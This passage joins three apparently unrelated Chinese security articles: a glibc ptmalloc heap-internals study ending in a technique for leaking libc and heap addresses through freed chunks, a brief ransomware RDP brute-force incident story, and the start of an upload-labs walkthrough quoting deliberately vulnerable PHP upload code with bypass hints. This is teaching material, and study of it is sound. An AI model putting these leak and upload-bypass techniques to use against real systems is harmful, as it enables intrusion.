> 中找到这种 chunk.当需要分配一个 small chunk, 但在 small bins 中找不到合适 的 chunk, 如果 last
> remainder chunk 的大小大于所需的 small chunk 大小,last remainder chunk 被分裂成两个 chunk,
> 其中一个 chunk 返回给用户, 另一个 chunk 变成新的 last remainder chuk.
需要注意的是, 仅在请求 small chunk 才使用. 具体可以参考 `eglibc-2.19/malloc/malloc.c:3459`
#### malloc_state
只存在一个主分区, 但是允许多个非主分区, 主分配区域可以访问 heap 区域 和 mmap 区域, 非主分区只能访问 mmap 区域, 每次用 mmap
分配一块大小的内存当做 sub-heap, 用于模拟 heap. 具体细节可以参考 `<glibc内存管理ptmalloc源代码分析.pdf>`,
每次进行内存分配必须加锁请求一个分配区.
eglibc-2.19/malloc/malloc.c:1663
/*
----------- Internal state representation and initialization ----------- */
struct malloc_state
{
/* Serialize access. */
mutex_t mutex;
/* Flags (formerly in max_fast). */
int flags;
#if THREAD_STATS
/* Statistics for locking. Only used if THREAD_STATS is defined. */
long stat_lock_direct, stat_lock_loop, stat_lock_wait;
#endif
/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];
/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];
/* Linked list */
struct malloc_state *next;
/* Linked list for free arenas. */
struct malloc_state *next_free;
/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
关于 `malloc_init_state` 的定义在:
eglibc-2.19/malloc/malloc.c:1768
/*
Initialize a malloc_state struct.
This is called only from within malloc_consolidate, which needs
be called in the same contexts anyway. It is never called directly
outside of malloc_consolidate because some optimizing compilers try
to inline it at all call points, which turns out not to be an
optimization at all. (Inlining it in malloc_consolidate is fine though.)
*/
static void
malloc_init_state (mstate av)
{
在 `eglibc-2.19/malloc/malloc.c:1741` 有一个已经初始化的主分配区 `main_arena`, 根据 ELF 的结构解析,
已初始化的全局变量存放在 `.data` 段, 下图作为实践.
# 33 是 Section 的 Index
λ : readelf -s /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.23.so | grep main_arena
915: 00000000003c3b20 2192 OBJECT LOCAL DEFAULT 33 main_arena
# 对应 33 的 Section 恰好为 .data
λ : readelf -S /usr/lib/debug//lib/x86_64-linux-gnu/libc-2.23.so | grep .data
[16] .rodata NOBITS 0000000000174720 000002b4
[23] .tdata NOBITS 00000000003bf7c0 001bf7c0
[29] .data.rel.ro NOBITS 00000000003bf900 001bf7c0
[33] .data NOBITS 00000000003c3080 001bf7c0
## _int_malloc() 分析
先获取分配区指针, 这个过程设计到分配区初始化和分配区加锁, 之后使用 `_int_malloc` 进行核心的内存分配.
eglibc-2.19/malloc/malloc.c:3295
/*
------------------------------ malloc ------------------------------ */
static void *
_int_malloc (mstate av, size_t bytes)
{
本来不想阅读, 发现不读根本不了解原理, 这一段分析来自 《glibc内存管理ptmalloc源代码分析》 但是对其中几个步骤做了补充和添加,
可以对比看一下 (以下针对 32 位字长)
ptmalloc 的响应用户内存分配要求的具体步骤为:
1. 获取分配区的锁, 为了防止多个线程同时访问同一个分配区, 在进行分配之前需要取得分配区域的锁. 线程先查看线程私有实例中是否已经存在一个分配区, 如果存 在尝试对该分配区加锁, 如果加锁成功, 使用该分配区分配内存, 否则, 该线程搜 索分配区循环链表试图获得一个空闲（没有加锁）的分配区. 如果所有的分配区都 已经加锁, 那么 ptmalloc 会开辟一个新的分配区, 把该分配区加入到全局分配区循 环链表和线程的私有实例中并加锁, 然后使用该分配区进行分配操作. 开辟出来的 新分配区一定为非主分配区, 因为主分配区是从父进程那里继承来的. 开辟非主分配区时会调用 mmap()创建一个 sub-heap, 并设置好 top chunk.
2. 将用户的请求大小转换为实际需要分配的 chunk 空间大小. 具体查看 request2size 宏 (malloc.c:3332)
3. 判断所需分配 chunk 的大小是否满足 chunk_size <= max_fast (max_fast 默认为 64B), 如果是的话, 则转下一步, 否则跳到第 5 步. (malloc.c:3340)
4. 首先尝试在 Fastbins 中查找所需大小的 chunk 分配给用户. 如果可以找到, 则分配结束. 否则转到下一步. (malloc.c:3340)
5. 判断所需大小是否处在 small bins 中, 即判断 chunk_size < 512B 是否成立. 如果 chunk 大小处在 small bins 中, 则转下一步, 否则转到第 7 步. (malloc.c:3377)
6. 根据所需分配的 chunk 的大小, 找到具体所在的某个 small bin, 从该 Bin 的尾部摘取一个恰好满足大小的 chunk. 若成功, 则分配结束, 否则, 转到 8. (malloc.c:3377)
7. 到了这一步, 说明需要分配的是一块大的内存, 于是, ptmalloc 首先会遍历 Fastbins 中的 chunk, 将相邻的空闲 chunk 进行合并, 并链接到 unsorted bin 中. 对于 Fastbins 的合并是由 `malloc_consolidate` 做处理. (malloc.c:3421)
8. 遍历 unsorted bin 中的 chunk, 如果请求的 chunk 是一个 small chunk, 且 unsorted bin 只有一个 chunk, 并且这个 chunk 在上次分配时被使用过(也就是 last_remainder), 并且 chunk 的大小大于 (分配的大小 + MINSIZE), 这种情况下就直接将该 chunk 进行切割, 分配结束, 否则继续遍历, 如果发现一个 unsorted bin 的 size 恰好等于需要分配的 size, 命中缓存, 分配结束, 否则将根据 chunk 的空间大小将其放入对应的 small bins 或是 large bins 中, 遍历完成后, 转入下一步. (malloc.c:3442)
9. 到了这一步说明需要分配的是一块大的内存, 并且 Fastbins 和 unsorted bin 中所有的 chunk 都清除干净 了. 从 large bins 中按照 “smallest-first, best-fit”(最小&合适, 也就是说大于或等于所需 size 的最小 chunk) 原则, 找一个合适的 chunk, 从中划分一块合适大小的 chunk 进行切割, 并将剩下的部分放到 unsorted bin, 若操作成功, 则分配结束, 否则转到下一步. (malloc.c:3576)
10. 到了这一步说明在对应的 bin 上没有找到合适的大小, 无论是 small bin 还是 large bin, 对于 small bin, 如果没有对应大小的 small bin, 只能 idx+1. 对于 large bin,在上一步的 large bin 并不一定能找到合适的 chunk 进行切割, 因为 large bins 间隔是很大的, 假如当前的 idx 的 large bin 只有一个 chunk, 但是所需 size 大于该 chunk, 这就导致找不到合适的, 只能继续 idx+1, 最后都需要根据 bitmap 找到之后第一个非空闲的 bin. 在这两种情况下找到的 bin 中的 chunk 一定可以进行切割或者全部分配(剩余的 size < MINSIZE) (malloc.c:3649)
11. 如果仍然都没有找到合适的 chunk, 那么就需要操作 top chunk 来进行分配了. 判断 top chunk 大小是否满足所需 chunk 的大小, 如果是, 则从 top chunk 中分出一块来. 否则转到下一步. (malloc.c:3749)
12. 到了这一步, 说明 top chunk 也不能满足分配要求, 所以, 于是就有了两个选择: 如果是主分配区, 调用 sbrk(), 增加 top chunk 大小；如果是非主分配区, 调用 mmap 来分配一个新的 sub-heap, 增加 top chunk 大小；或者使用 mmap()来直接分配. 在这里, 需要依靠 chunk 的大小来决定到底使用哪种方法. 判断所需分配的 chunk 大小是否大于等于 mmap 分配阈值, 如果是的话, 则转下一步, 调用 mmap 分配, 否则跳到第 13 步, 增加 top chunk 的大小. (malloc.c:3800)
13. 使用 mmap 系统调用为程序的内存空间映射一块 chunk_size align 4kB 大小的空间. 然后将内存指针返回给用户.
14. 判断是否为第一次调用 malloc, 若是主分配区, 则需要进行一次初始化工作, 分配一块大小为(chunk_size + 128KB) align 4KB 大小的空间作为初始的 heap. 若已经初始化过了, 主分配区则调用 sbrk()增加 heap 空间, 分主分配区则在 top chunk 中切割出一个 chunk, 使之满足分配需求, 并将内存指针返回给用户.
## _int_free() 分析
eglibc-2.19/malloc/malloc.c:3808
/*
------------------------------ free ------------------------------ */
static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
下面分析具体过程, 同样是参考 《glibc内存管理ptmalloc源代码分析》 但是对其中几个步骤做了补充和添加, 可以对比看一下 (以下针对 32
位字长)
1. free()函数同样首先需要获取分配区的锁, 来保证线程安全.
2. 判断传入的指针是否为 0, 如果为 0, 则什么都不做, 直接 return.否则转下一步.
3. 判断 chunk 的大小和所处的位置, 若 chunk_size <= max_fast, 并且 chunk 并不位于 heap 的顶部, 也就是说并不与 Top chunk 相邻, 则转到下一步, 否则跳到第 5 步.（因为与 top chunk 相邻的 chunk(fastbin) ,会与 top chunk 进行合并, 所以这里不仅需要判断大小, 还需要判断相邻情况）
4. 将 chunk 放到 Fastbins 中, chunk 放入到 Fastbins 中时, 并不修改该 chunk 使用状 态位 P.也不与相邻的 chunk 进行合并.只是放进去, 如此而已.这一步做完之后 释放便结束了, 程序从 free()函数中返回.
5. 判断所需释放的 chunk 是否为 mmaped chunk, 如果是, 则调用 munmap()释放 mmaped chunk, 解除内存空间映射, 该该空间不再有效.如果开启了 mmap 分配 阈值的动态调整机制, 并且当前回收的 chunk 大小大于 mmap 分配阈值, 将 mmap 分配阈值设置为该 chunk 的大小, 将 mmap 收缩阈值设定为 mmap 分配阈值的 2 倍, 释放完成, 否则跳到下一步.
6. 判断前一个 chunk 是否处在使用中, 如果前一个块也是空闲块, 则合并.并转下一步.
7. 判断当前释放 chunk 的下一个块是否为 top chunk, 如果是, 则转第 9 步, 否则转 下一步.
8. 判断下一个 chunk 是否处在使用中, 如果下一个 chunk 也是空闲的, 则合并, 并将合并后的 chunk 放到 unsorted bin 中.注意, 这里在合并的过程中, 要更新 chunk 的大小, 以反映合并后的 chunk 的大小.并转到第 10 步.
9. 如果执行到这一步, 说明释放了一个与 top chunk 相邻的 chunk.则无论它有多大, 都将它与 top chunk 合并, 并更新 top chunk 的大小等信息.转下一步. (malloc.c:3950)
10. 判断合并后的 chunk 的大小是否大于 FASTBIN_CONSOLIDATION_THRESHOLD（默认 64KB）, 如果是的话, 则会触发进行 Fastbins 的合并操作(malloc_consolidate), Fastbins 中的 chunk 将被遍历, 并与相邻的空闲 chunk 进行合并, 合并后的 chunk 会被放到 unsorted bin 中. Fastbins 将变为空, 操作完成之后转下一步.
11. 判断 top chunk 的大小是否大于 mmap 收缩阈值（默认为 128KB）, 如果是的话, 对于主分配区, 则会试图归还 top chunk 中的一部分给操作系统.但是最先分配的 128KB 空间是不会归还的, ptmalloc 会一直管理这部分内存, 用于响应用户的分配 请求；如果为非主分配区, 会进行 sub-heap 收缩, 将 top chunk 的一部分返回给操 作系统, 如果 top chunk 为整个 sub-heap, 会把整个 sub-heap 还回给操作系统.做 完这一步之后, 释放结束, 从 free() 函数退出.可以看出, 收缩堆的条件是当前 free 的 chunk 大小加上前后能合并 chunk 的大小大于 64k, 并且要 top chunk 的大 小要达到 mmap 收缩阈值, 才有可能收缩堆.
## 特殊的分配情况举例说明
下面几个的演示例子中没有使用到一些 heap 分析插件, 会在 ptmalloc 的利用那一步使用到 heap 分析的插件.
下面一段表明小于 `Fastbins的size` 在释放后不会进行合并, 如果使用 gdb 查看 chunk 信息可以看到 `P` 标志位为 1,
这里需要注意的是看下一个 chunk 的 `P` 标志位, 而不是当前 chunk 的标志位, 这里就不进行演示了.
#include<stdio.h>
#include<stdlib.h>
void main()
{
void *m1 = malloc(24);
int t = 0;
void * ms[200];
for(t = 0; t < 200; t++)
ms[t] = malloc(120); // default fastbin size
malloc(24);
for(t = 0; t < 200; t++)
free(ms[t]);
void *m2 = malloc(24);
printf("%p\n",m1);
printf("%p\n",m2);
}
// result:
λ : gcc -g -o test2 test2.c && ./test2
0x17c2010
0x17c8450
* * *
下面例子表明, 当 fast bin 的相邻为空闲 chunk, 以及相邻 top chunk 的情况, 都不会进行合并, 但是对于 top chunk
的情况有些特殊.
/*
TRIM_FASTBINS controls whether free() of a very small chunk can
immediately lead to trimming. Setting to true (1) can reduce memory
footprint, but will almost always slow down programs that use a lot
of small chunks.
Define this only if you are willing to give up some speed to more
aggressively reduce system-level memory footprint when releasing
memory in programs that use many small chunks. You can get
essentially the same effect by setting MXFAST to 0, but this can
lead to even greater slowdowns in programs using many small chunks.
TRIM_FASTBINS is an in-between compile-time option, that disables
only those chunks bordering topmost memory from being placed in
fastbins.
*/
当设置 `TRIM_FASTBINS=1` fast bin 会与相邻的 top chunk 进行合并
λ : cat test5.c
#include<stdio.h>
#include<stdlib.h>
void main()
{
void *m1 = malloc(500);
void *m2 = malloc(40);
malloc(1);
void *m3 = malloc(80);
free(m1);
free(m2);
void *m4 = malloc(40);
free(m3);
void *m5 = malloc(80);
printf("m1, %p\n",m1);
printf("m2, %p\n",m2);
printf("m3, %p\n",m3);
printf("m4, %p\n",m4);
printf("m5, %p\n",m5);
}
// result:
λ : gcc -g -o test5 test5.c && ./test5
m1, 0x8b1010
m2, 0x8b1210
m3, 0x8b1260
m4, 0x8b1210
m5, 0x8b1260
* * *
下面的例子表明 small bin 在释放后会相邻合并的例子.
#include<stdio.h>
#include<stdlib.h>
void main()
{
void *m1 = malloc(24);
int t = 0;
void * ms[200];
for(t = 0; t < 200; t++)
ms[t] = malloc(121); // small bin size
malloc(24);
for(t = 0; t < 200; t++)
free(ms[t]);
void *m2 = malloc(24);
printf("%p\n",m1);
printf("%p\n",m2);
}
// result:
λ : gcc -g -o test2 test2.c && ./test2
0xeab010
0xeab030
* * *
下面举例说明 `malloc_consolidate` 的作用, 以及如何触发 `malloc_consolidate`. 请仔细理解 m6, m7 和
m8.
#include<stdio.h>
#include<stdlib.h>
void main()
{
void *m0 = malloc(24);
void *m1 = malloc(24);
void *m2 = malloc(0x200);
void *m3 = malloc(0x100);
void *m4 = malloc(24);
void *m5 = malloc(24);
malloc(121);
free(m0);
free(m1);
free(m2);
free(m3);
free(m4);
free(m5);
malloc(0x350);
void *m6 = malloc(0x360);
malloc(1210); // 触发 Fastbins 合并
void *m7 = malloc(0x360);
void *m8 = malloc(24);
printf("m0,%p\n", m0);
printf("m1,%p\n", m1);
printf("m2,%p\n", m2);
printf("m3,%p\n", m3);
printf("m4,%p\n", m4);
printf("m5,%p\n", m5);
printf("m6,%p\n", m6);
printf("m7,%p\n", m7);
printf("m8,%p\n", m8);
}
result:
λ : gcc -g -o test3 test3.c && ./test3
m0,0x1bf7010
m1,0x1bf7030
m2,0x1bf7050
m3,0x1bf7260
m4,0x1bf7370
m5,0x1bf7390
m6,0x1bf77a0
m7,0x1bf7010
m8,0x1bf7380
* * *
下面举例说明, 当 small bins 和 large bins 没有找到对应合适 size 的 Bin, 需要切割的情况.
#include <stdio.h>
#include <stdlib.h>
void main()
{
void * m1 = malloc(0x200);
malloc(121);
void * m2 = malloc(0x401);
malloc(121);
free(m2);
void * m3 = malloc(24);
free(m1);
void * m4 = malloc(24);
printf("m1, %p\n", m1);
printf("m2, %p\n", m2);
printf("m3, %p\n", m3);
printf("m4, %p\n", m4);
printf("sizeof(size_t) = %ld\n", sizeof(size_t));
}
result:
λ : gcc -g -o test1 test1.c && ./test1
m1, 0x1a66010
m2, 0x1a662b0
m3, 0x1a662b0 //切割 small bins
m4, 0x1a66010 //切割 large bins
sizeof(size_t) = 8
## exploit 在 ptmalloc 中
首先明确大部分的关注点, 是在 **leak infomation** 和 **aa4bmo**.
对于 leak infomation, 需要所 dump 的地址内存放关键信息, 比如: 释放后的 chunk 的 fd 和 bk.
对于 aa4bmo, 这一块在另一篇《PWN之堆触发》有完善的介绍和总结.
下面的一些分析实例会用到 heap 的分析插件, 并且会提到一些具体的实践以对应之前的理论.
#### Leak Information (泄露关键信息)
Q: 什么是关键信息?
A: libc 地址, heap 地址
通过 ptmalloc 获得的内存 chunk 在释放后会变成上面提到的几种缓存类型, 这里主要提一下 Fastbins, Bins 能够泄漏什么关键信息.
分配区 `main_arena` 是已经初始化静态全局变量存放在 `libc.so.6` 的 `.data` 位置, 可以通过 `main_arena`
泄露 libc 的基址.
下面是一个关于 Fastbins 的例子, Fastbins 是单向链表, 通过 `fd` 指针进行遍历, 每次插入链表头位置, 可以通过已经释放的
Fastbin chunk 的 `fd` 指针 dump 到 heap 地址.
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
void main()
{
void * m1 = malloc(0x80-8);
void * m2 = malloc(0x80-8);
memset(m1, 65, 0x80-8);
memset(m2, 65, 0x80-8);
malloc(1);
free(m1);
free(m2);
printf("m1: %p\n", m1);
printf("m2: %p\n", m2);
printf("sizeof(size_t): %ld\n", sizeof(size_t));
}
# 主分配区
(gdb) P &main_arena
$3 = (struct malloc_state *) 0x7ffff7dd1b20 <main_arena>
(gdb) p main_arena
$2 = {mutex = 0, flags = 0, fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x602080, 0x0, 0x0, 0x0}, top = 0x602120, last_remainder = 0x0, bins = {...more... }, binmap = {0, 0, 0, 0}, next = 0x7ffff7dd1b20 <main_arena>, next_free = 0x0, attached_threads = 1, system_mem = 135168, max_system_mem = 135168}
# 同上
(gdb) heap
===================================Heap Dump===================================
Arena(s) found:
arena @ 0x7ffff7dd1b20
# Fastbins 在释放后, P 标志位不会被清空
(gdb) heap -l
===================================Heap Dump===================================
ADDR SIZE STATUS
sbrk_base 0x602000
chunk 0x602000 0x80 (inuse)
chunk 0x602080 0x80 (inuse)
chunk 0x602100 0x20 (inuse)
chunk 0x602120 0x20ee0 (top)
sbrk_end 0x602001
# 查看 bins
(gdb) heap -b
===================================Heap Dump===================================
fast bin 6 @ 0x602080
free chunk @ 0x602080 - size 0x80
free chunk @ 0x602000 - size 0x80
# 通过观察源码和这里 Fastbins 的顺序应该可以发现 Fastbins 是头插入
(gdb) heap -f
====================================Fastbins====================================
[ fb 0 ] 0x7ffff7dd1b28 -> [ 0x0 ]
[ fb 1 ] 0x7ffff7dd1b30 -> [ 0x0 ]
[ fb 2 ] 0x7ffff7dd1b38 -> [ 0x0 ]
[ fb 3 ] 0x7ffff7dd1b40 -> [ 0x0 ]
[ fb 4 ] 0x7ffff7dd1b48 -> [ 0x0 ]
[ fb 5 ] 0x7ffff7dd1b50 -> [ 0x0 ]
[ fb 6 ] 0x7ffff7dd1b58 -> [ 0x602080 ] (128)
[ 0x602000 ] (128)
[ fb 7 ] 0x7ffff7dd1b60 -> [ 0x0 ]
[ fb 8 ] 0x7ffff7dd1b68 -> [ 0x0 ]
[ fb 9 ] 0x7ffff7dd1b70 -> [ 0x0 ]
# Fastbins 是根据 fd 指针进行遍历
(gdb) p *(mchunkptr)0x602080
$4 = {prev_size = 4702111234474983745, size = 129, fd = 0x602000, bk = 0x4141414141414141, fd_nextsize = 0x4141414141414141, bk_nextsize = 0x4141414141414141}
# 这里 dump 之前 chunk 的内容可以拿到 heap 的地址
(gdb) x/wx 0x602090
0x602090: 0x00602000
下面是一个关于 Bins 的例子, Bins 是双向环链表, 头插入, 可以通过已经释放的 Bin chunk 泄漏 libc 和 heap 地址.
这里需要理解一下由 `malloc(0xB0-8);` 的作用, 以及 Unstored bin 转为 small bins 的过程.
这里如果不清楚可以对应 libc 源码查看上面提到的 `_int_malloc()`的过程.
include<stdio.h>
#include<stdlib.h>
#include<string.h>
void main()
{
void * m1 = malloc(0x90-8);
malloc(1);
void * m2 = malloc(0x90-8);
malloc(1);
void * m3 = malloc(0xA0-8);
malloc(1);
memset(m1, 65, 0x90-8);
memset(m2, 65, 0x90-8);
memset(m3, 65, 0xA0-8);
free(m1);
free(m2);
free(m3);
malloc(0xB0-8);
printf("m1: %p\n", m1);
printf("m2: %p\n", m2);
printf("m3: %p\n", m3);
printf("sizeof(size_t): %ld\n", sizeof(size_t));
}
λ : gdb -q test2
Reading symbols from test2...done.
(gdb) b 19
Breakpoint 1 at 0x4006ac: file test2.c, line 19.
(gdb) r
Starting program: /home/spiderzz/Desktop/pwn/malloc/test2
Breakpoint 1, main () at test2.c:19
19 malloc(0xB0-8);
(gdb) heap
===================================Heap Dump===================================
Arena(s) found:
arena @ 0x7ffff7dd1b20
# Unsorted bin 是双向环链表, 这里需要观察, 双向环链表的两个端点 chunk 的 FD 和 BK 的地址不同之处, 因为一个在 libc 的空间, 一个在 heap 的空间.
(gdb) heap -l
===================================Heap Dump===================================
ADDR SIZE STATUS
sbrk_base 0x602000
chunk 0x602000 0x90 (F) FD 0x7ffff7dd1b78 BK 0x6020b0
chunk 0x602090 0x20 (inuse)
chunk 0x6020b0 0x90 (F) FD 0x602000 BK 0x602160
chunk 0x602140 0x20 (inuse)
chunk 0x602160 0xa0 (F) FD 0x6020b0 BK 0x7ffff7dd1b78
chunk 0x602200 0x20 (inuse)
chunk 0x602220 0x20de0 (top)
sbrk_end 0x602001
(gdb) heap -b
===================================Heap Dump===================================
unsorted bin @ 0x7ffff7dd1b88
free chunk @ 0x602160 - size 0xa0
free chunk @ 0x6020b0 - size 0x90
free chunk @ 0x602000 - size 0x90
# 这个也就是返回的 fake chunk 的地址, 这地址其实就是 bin_at 的返回值
(gdb) p *(mfastbinptr)0x7ffff7dd1B78
$1 = {prev_size = 6300192, size = 0, fd = 0x602160, bk = 0x602000, fd_nextsize = 0x7ffff7dd1b88 <main_arena+104>, bk_nextsize = 0x7ffff7dd1b88 <main_arena+104>}
(gdb) n
20 printf("m1: %p\n", m1);
# 这里需要理解 Bins 的 FD 和 BK.
(gdb) heap -l
===================================Heap Dump===================================
ADDR SIZE STATUS
sbrk_base 0x602000
chunk 0x602000 0x90 (F) FD 0x7ffff7dd1bf8 BK 0x6020b0
chunk 0x602090 0x20 (inuse)
chunk 0x6020b0 0x90 (F) FD 0x602000 BK 0x7ffff7dd1bf8
chunk 0x602140 0x20 (inuse)
chunk 0x602160 0xa0 (F) FD 0x7ffff7dd1c08 BK 0x7ffff7dd1c08 (LC)
chunk 0x602200 0x20 (inuse)
chunk 0x602220 0xb0 (inuse)
chunk 0x6022d0 0x20d30 (top)
sbrk_end 0x602001
# 这里需要理解 Unsorted bin 是如何变为 small bin
(gdb) heap -b
===================================Heap Dump===================================
small bin 9 @ 0x7ffff7dd1c08
free chunk @ 0x6020b0 - size 0x90
free chunk @ 0x602000 - size 0x90
small bin 10 @ 0x7ffff7dd1c18
free chunk @ 0x602160 - size 0xa0
# bin_at 的返回, 需要联合上面的两条命令返回的结果一起理解
(gdb) p *(mfastbinptr)0x7ffff7dd1BF8
$3 = {prev_size = 140737351850984, size = 140737351850984, fd = 0x6020b0, bk = 0x602000, fd_nextsize = 0x602160, bk_nextsize = 0x602160}
# bin_at 的返回, 需要联合上面的两条命令返回的结果一起理解
(gdb) p *(mfastbinptr)0x7ffff7dd1C08
$2 = {prev_size = 6299824, size = 6299648, fd = 0x602160, bk = 0x602160, fd_nextsize = 0x7ffff7dd1c18 <main_arena+248>, bk_nextsize = 0x7ffff7dd1c18 <main_arena+248>}
上面提到如何使用 Bins 泄露 libc 和 heap 的地址, 这一部分其实在 Phrack 的 `<Advanced Doug Lea's
malloc exploits>` 的 `4.5 Abusing the leaked information` 一小部分有提到. 可以通过 "find a
lonely chunk in the heap" 去泄露, 相当于上面例子中的 `m3`, 位于 `small bin 10`, 释放后会修改 `FD`,
`BK` 为该 Bin 的地址, 进而泄露 libc 的地址. 还有一种方法就是 "find the first or last chunk of a
bin", 相当于上面例子中的 `m1`, `m2`, 释放后, 会造成 `FD` 和 `BK` 一个在 `ptr_2_libc's_memory`,
一个在 `ptr_2_process'_heap`.
下面说明如何使用一个 `lonely chunk`, 拿到关键函数的地址, 在 `<Advanced Doug Lea's malloc
exploits>` 中使用的是 `__morecore` 这个函数指针, 它指向 `__default_morecore`,
也就是系统用于增加内存的函数, 默认为 `brk()`, 这里简单提一下.
这里直接使用上面的 `m3` 作为例子举例, `m3` 在释放后变为 `lonely chunk`, 位于 `small bin 10`
#0.这里已知该 chunk 所在 bin 的地址 (t0 = 0x7ffff7dd1c08+0x10)(对于为什么需要加 0x10, 是因为 fake chunk, 具体参考上面)
#1.根据 chunk 的 size, 取得对应 bin index, 这里其实也就是 10, 可以查看 bin_index 宏, 查看对应具体实现
#2.根据 bin index, 获取到该 bin 与 main_arena 的地址差, 从而获得 main_arena 的地址.
t0 = 0x7ffff7dd1c08 + 0x10
t1 = (long)&main_arena.bins - (long)&main_arena
t2 = (long)&__morecore - (long)&(main_arena)
t3 = (10-1)*2*8 //至于为什么这么算, 请参考源码 bin_at 宏
&main_arena = t0 - (t3+t1) = 0x7ffff7dd1b20
#3.根据 _morecore 与 main_arena 的地址差, 得到 _morecore 的地址
&__morecore = &main_arena + t2
整个过程用一句话表示 "Using the known size of the chunk, we know in which bin it was
placed, so we can get main_arena's address and, finally, __morecore.",
具体的过程也就是上面写的.
#### aa4bmo 'almost arbitrary 4 bytes mirrored overwrite' (任意 4 字节写)
很多情况下 aa4bmo 是由于 chunk overlap ( chunk corruption ) 导致的.
对于 aa4bmo, 这一块在另一篇《PWN之堆触发》有完善的介绍和总结.
## 参考资料
大部分参考资料都在 `refs` 下
#libc源码, 本文的核心
http://www.eglibc.org/cgi-bin/viewvc.cgi/branches/eglibc-2_19/
#非常详细, 本文的核心
<refs/glibc内存管理ptmalloc源代码分析.pdf>
#这篇文章也不错, 很全面
http://tyrande000.how/2016/02/20/linux%E4%B8%8B%E7%9A%84%E5%A0%86%E7%AE%A1%E7%90%86/
#阿里聚安全, 只讲了及基本的数据结构, 对于具体的分配, 回收算法没有涉及到
https://jaq.alibaba.com/community/art/show?spm=a313e.7916648.0.0.ZP7WcS&articleid=315
#很多人引用了这篇文章, 关于堆布局的图都是采用这篇文章里的
https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/comment-page-1/?spm=a313e.7916648.0.0.H9xzd9
#Phrack
#这篇文章很值的读, 虽然里面的一些技术不再适用, 但是其中的一些理念很不错, 比如其中关于如何利用爆破的方法绕过ASLR, 如何跟踪内存分配, 如何打印堆布局, 如何利用堆泄露关键信息.
<Advanced Doug Lea's malloc exploits>
#这篇文章主要讲 malloc 原理, 与现在的 glibc 版本有较大差异, 后一部分不建议看, 但是前面一部分举了一个例子, 如何利用 off-by NUL 的 bug, 总的来说应该算是 chunk corruption, 去完成 a carefully crafted fake chunk, 最终实现 aa4bmo.
<[Phrack]Vudo malloc tricks.pdf>
#glibc的调试相关
http://blog.chinaunix.net/uid-24774106-id-3526766.html
http://blog.chinaunix.net/uid-24774106-id-3642925.html
http://stackoverflow.com/questions/10000335/how-to-use-debug-version-of-libc
* * * | 社区文章 |
在这个星期二的上午，我旁边的一位表哥正在对都是登陆页面的资产表进行疯狂的测试，脸上的表情越来越焦灼，越来越痛苦，这时急促的电话铃声响了起来，表哥接到电话后，眉头一紧，嘴中连连冒出虎狼之词，我微笑的看着他，知道出事了，离奇的是好像是被“0day”给干了一顿鼻青脸肿，对面渐渐有了哭腔，看来是找了很久都没有发现突破口，我又大笑了笑接过了电话，原来是客户的财务服务器被勒索病毒给搞了，屏幕上大大的骷髅头十分恐怖，如下图所示很简单的一个网络架构，而且对外只开了3389端口（当然这只是管理员的说辞）。
实际上扫了一下，emmmmm（但愿是防火墙的规则导致吧）
客户的搭建架构是CS架构，也就是客户端和服务端，首先怀疑的可能性是钓鱼，这是勒索病毒对金融行业的惯用手法，看了下金蝶财务软件的漏洞还不少，客户那边装了这个系统后就没管过，安全意识可见之低，远程登陆对日志进行分析，首先就去看了登录日志，因为管理员非常非常确定只开了3389端口（远程桌面默认端口），分析了一下发现有些不对劲，一个来自国外的IP进行了非常有针对性的3389爆破，可以看到一些财务软件有关的用户的尝试登陆日志：
（1）k3admin、admin、assistant（金蝶软件默认或者安装时创建的用户）
金蝶社区发现的线索：
（2）U8admin（可能是用友软件默认或者安装时创建的用户）
马萨卡！（难道），由于CS架构的原因，勒索病毒因为批量性攻击的限制（脚本没有人的灵活判断能力），转为了简单粗暴的3389爆破？于是看了一下登陆成功的日志，果然不出所料，一个名为assistant用户于3月22号11点36分登陆成功了。
最后我们来看下客户的反应，对面表哥的哭后狂骂（笑死人）。 | 社区文章 |
upload-labs是一个使用php语言编写的，专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关，每一关都包含着不同上传方式。项目地址：<https://github.com/c0ny1/upload-labs>2019年1月13日添加了第20关。测试环境：
> PHP/5.6.27
> Apache/2.4.23
> windows
### Pass-01-js检查
这种直接禁用JS，或者burp改包等等都可以。
### Pass-02-只验证Content-type
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错！';
}
} else {
$msg = '文件类型不正确，请重新上传！';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建！';
}
}
抓包改Content-Type即可。
### Pass-03-黑名单绕过
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错！';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件！';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
}
}
